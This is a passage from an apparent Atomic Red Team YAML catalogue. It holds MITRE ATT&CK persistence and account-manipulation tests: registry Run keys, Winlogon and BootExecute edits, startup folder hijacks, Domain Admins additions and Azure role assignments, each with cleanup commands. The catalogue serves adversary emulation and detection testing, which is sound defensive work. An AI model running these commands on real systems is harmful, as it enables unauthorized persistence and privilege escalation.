= \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save() " cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore name: powershell elevation_required: true - name: Add persistance via Recycle bin auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f description: | Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf) User have to clic on the recycle bin to lauch the payload (here calc) supported_platforms: - windows executor: command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f name: command_prompt - name: SystemBC Malware-as-a-Service Registry auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891 description: | This Atomic will create a registry key called socks5_powershell for persistance access https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c supported_platforms: - windows input_arguments: reg_key_value: description: Thing to Run type: path default: powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File reg_key_path: description: Path to registry key to update type: path default: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run executor: command: | $RunKey = "#{reg_key_path}" Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}" cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore ' name: powershell - name: Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b description: "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n" supported_platforms: - windows input_arguments: new_startup_folder: description: new startup folder to replace standard one type: string default: "$env:TMP\\atomictest\\" payload: description: 'executable to be placed in new startup location ' type: string default: C:\Windows\System32\calc.exe executor: command: | New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}" cleanup_command: | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force name: powershell elevation_required: true - name: Change Startup Folder - HKCU Modify User Shell Folders Startup Value auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa description: "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Startup\" value \nto point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n" supported_platforms: - windows input_arguments: new_startup_folder: description: new startup folder to replace standard one type: string default: "$env:TMP\\atomictest\\" payload: description: 'executable to be placed in new startup location ' type: string default: C:\Windows\System32\calc.exe executor: command: | New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}" cleanup_command: | Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force name: powershell - name: HKCU - Policy Settings Explorer Run Key auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1 description: "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n" supported_platforms: - windows input_arguments: target_key_value_name: description: registry value to crate on target key type: string default: atomictest payload: description: payload to execute type: string default: C:\Windows\System32\calc.exe executor: command: | if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}" cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" name: powershell elevation_required: true - name: HKLM - Policy Settings Explorer Run Key auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f description: "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run key value to launch calc.exe on boot. \n*Requires reboot\n" supported_platforms: - windows input_arguments: target_key_value_name: description: registry value to crate on target key type: string default: atomictest payload: description: payload to execute type: string default: C:\Windows\System32\calc.exe executor: command: | if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}" cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" name: powershell elevation_required: true - name: HKLM - Append Command to Winlogon Userinit KEY Value auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374 description: | This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot. * Requires reboot supported_platforms: - windows input_arguments: payload: description: what to run type: string default: C:\Windows\System32\calc.exe executor: command: | $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue"; $newvalue = $oldvalue + " #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue" cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup' name: powershell elevation_required: true - name: 'HKLM - Modify default System Shell - Winlogon Shell KEY Value ' auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e description: "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value without breaking boot sequence. \nAn atacker will alternatively replace this with a custom shell. \n" supported_platforms: - windows input_arguments: payload: description: what to run type: string default: C:\Windows\explorer.exe executor: command: | $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue"; $newvalue = $oldvalue + ", #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue" cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup' name: powershell elevation_required: true - name: secedit used to create a Run key in the HKLM Hive auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02 description: | secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d) supported_platforms: - windows input_arguments: ini_file: description: INI config template type: string default: "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini" secedit_db: description: Custom secedit db type: string default: mytemplate.db executor: command: | secedit /import /db #{secedit_db} /cfg "#{ini_file}" secedit /configure /db #{secedit_db} cleanup_command: REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Modify BootExecute Value auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672 description: "This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n" supported_platforms: - windows input_arguments: registry_value: description: Registry value to set type: string default: autocheck autoche * executor: command: | if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y } Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString cleanup_command: | reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force name: powershell elevation_required: true - name: Allowing custom application to execute during new RDP logon session auto_generated_guid: b051b3c0-66e7-4a81-916d-e6383bd3a669 description: | When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP supported_platforms: - windows input_arguments: malicious_app: description: Application to be executed during successful RDP session type: string default: calc executor: command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /v StartupPrograms /t REG_SZ /d "#{malicious_app}" ' cleanup_command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /v StartupPrograms /t REG_SZ /d "rdpclip" name: command_prompt elevation_required: true - name: Creating Boot Verification Program Key for application execution during successful boot auto_generated_guid: 6e1666d5-3f2b-4b9a-80aa-f011322380d4 description: | Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor can abuse by creating this registry key and providing a malicious application to be executed during successful boot supported_platforms: - windows input_arguments: malicious_file: description: Application to be executed during successful boot type: string default: C:\Program Files\Internet Explorer\iexplore.exe executor: command: 'reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}" ' cleanup_command: reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram name: command_prompt elevation_required: true T1098: technique: modified: '2024-01-16T22:24:38.234Z' name: Account Manipulation description: "Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Praetorian - Tim MalcomVetter - Wojciech Lesicki - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - IaaS - Linux - macOS - Google Workspace - SaaS - Network - Containers x_mitre_version: '2.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' - 'File: File Modification' - 'Group: Group Modification' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27 created: '2017-05-31T21:31:12.196Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098 external_id: T1098 - source_name: FireEye SMOKEDHAM June 2021 description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html - source_name: Microsoft Security Event 4670 description: Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. url: https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 - source_name: Microsoft User Modified Event description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.' url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 - source_name: InsiderThreat ChangeNTLM July 2017 description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - source_name: GitHub Mimikatz Issue 92 June 2017 description: 'Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017.' url: https://github.com/gentilkiwi/mimikatz/issues/92 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098 atomic_tests: - name: Admin Account Manipulate auto_generated_guid: 5598f7cb-cf43-455e-883a-f6008c5d46af description: 'Manipulate Admin Account Name ' supported_platforms: - windows executor: command: | $x = Get-Random -Minimum 2 -Maximum 9999 $y = Get-Random -Minimum 2 -Maximum 9999 $z = Get-Random -Minimum 2 -Maximum 9999 $w = Get-Random -Minimum 2 -Maximum 9999 Write-Host HaHa_$x$y$z $fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name foreach($member in $fmm) { if($member -like "*Administrator*") { $account = $member.Name.Split("\")[-1] # strip computername\ $originalDescription = (Get-LocalUser -Name $account).Description Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME } } cleanup_command: | $list = Get-LocalUser |?{$_.Description -like "atr:*"} foreach($u in $list) { $u.Description -match "atr:(?[^;]+);(?.*)" Set-LocalUser -Name $u.Name -Description $Matches.Description Rename-LocalUser -Name $u.Name -NewName $Matches.Name Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME } name: powershell elevation_required: true - name: Domain Account and Group Manipulate auto_generated_guid: a55a22e9-a3d3-42ce-bd48-2653adb8f7a9 description: "Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). \n\nThe quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to \ncreate the user and alter the group. Automatic installation of the dependency requires an elevated session, \nand is unlikely to work with Powershell Core (untested).\n\nIf you consider running this test against a production Active Directory, the good practise is to create a dedicated\nservice account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated\nas group manager of the target group.\n\nExample: `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n" supported_platforms: - windows input_arguments: account_prefix: description: | Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on a match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful. type: string default: atr- group: description: Name of the group to alter type: string default: Domain Admins create_args: description: Additional string appended to New-ADUser call type: string default: '' dependencies: - description: 'PS Module ActiveDirectory ' prereq_command: "Try {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n" get_prereq_command: | if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) { Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online } else { Install-WindowsFeature RSAT-AD-PowerShell } executor: command: | $x = Get-Random -Minimum 2 -Maximum 99 $y = Get-Random -Minimum 2 -Maximum 99 $z = Get-Random -Minimum 2 -Maximum 99 $w = Get-Random -Minimum 2 -Maximum 99 Import-Module ActiveDirectory $account = "#{account_prefix}-$x$y$z" New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args} Add-ADGroupMember "#{group}" $account cleanup_command: 'Get-ADUser -LDAPFilter "(&(samaccountname=#{account_prefix}-*)(givenName=Test))" | Remove-ADUser -Confirm:$False ' name: powershell - name: AWS - Create a group and add a user to that group auto_generated_guid: 8822c3b0-d9f9-4daf-a043-49f110a31122 description: 'Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss ' supported_platforms: - iaas:aws input_arguments: username: description: Name of the AWS group to create type: string default: atomicredteam dependencies: - description: 'Check if the user exists, we can only add a user to a group if the user exists. ' prereq_command: 'aws iam list-users | grep #{username} ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic test ' executor: command: | aws iam create-group --group-name #{username} aws iam add-user-to-group --user-name #{username} --group-name #{username} cleanup_command: | aws iam remove-user-from-group --user-name #{username} --group-name #{username} aws iam delete-group --group-name #{username} name: sh - name: Azure AD - adding user to Azure AD role auto_generated_guid: 0e65ae27-5385-46b4-98ac-607a8ee82261 description: "The adversaries want to add user to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to the user principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see User as a type.\n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd user_principal_name: description: Display Name, or User Principal Name, of the targeted user principal type: string default: SuperUser role_name: description: Name of the targeted Azure AD role type: string default: Global Reader dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'" if ($user -eq $null) { Write-Warning "User not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore $user = Get-AzureADUser -Filter "DisplayName eq '#{user_principal_name}' or UserPrincipalName eq '#{user_principal_name}'" if ($user -eq $null) { Write-Warning "User not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role" name: powershell elevation_required: false - name: Azure AD - adding service principal to Azure AD role auto_generated_guid: 92c40b3f-c406-4d1f-8d2b-c039bf5009e4 description: "The adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n" supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the service principal type: string default: SuperSP role_name: description: Name of the targeted Azure AD role type: string default: Global Reader dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'" if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential -ErrorAction Ignore $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '#{service_principal_name}'" if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } $role = Get-AzureADDirectoryRole -Filter "DisplayName eq '#{role_name}'" if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role" name: powershell elevation_required: false - name: Azure - adding user to Azure role in subscription auto_generated_guid: 1a94b3fc-b080-450a-b3d8-6d9b57b472ea description: "The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to user in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n" supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd user_principal_name: description: Display Name, or User Principal Name, of the targeted user principal type: string default: SuperUser role_name: description: Name of the targeted Azure role type: string default: Reader subscription: description: Name of the targeted subscription type: string default: Azure subscription 1 dependencies: - description: 'Az.Resources module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az.Resources -Force ' executor: command: | Import-Module -Name Az.Resources $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzAccount -Credential $Credential $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" } if ($user -eq $null) { Write-Warning "User not found"; exit } $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit } $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"} if ($role -eq $null) { Write-Warning "Role not found"; exit } New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)" cleanup_command: | Import-Module -Name AzureAD -ErrorAction Ignore $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzAccount -Credential $Credential -ErrorAction Ignore $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" } if ($user -eq $null) { Write-Warning "User not found"; exit } $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"} if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit } $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"} if ($role -eq $null) { Write-Warning "Role not found"; exit } Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription Write-Host "User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)" name: powershell elevation_required: false - name: Azure - adding service principal to Azure role in subscription auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404 description: "The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.\n\nThe account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint - check Operation Name \"Create role assignment\" in subscriptions Activity Logs.\n" supported_platforms: - iaas:azure input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the service principal type: string default: SuperSP role_name: description: Name of the targeted Azure role type: string default: Reader subscription: description: Name of the targeted subscription type: string default: Azure subscription 1 dependencies: - description: 'Az.Resources module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name Az.Resources -Force ' executor: command: "Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = 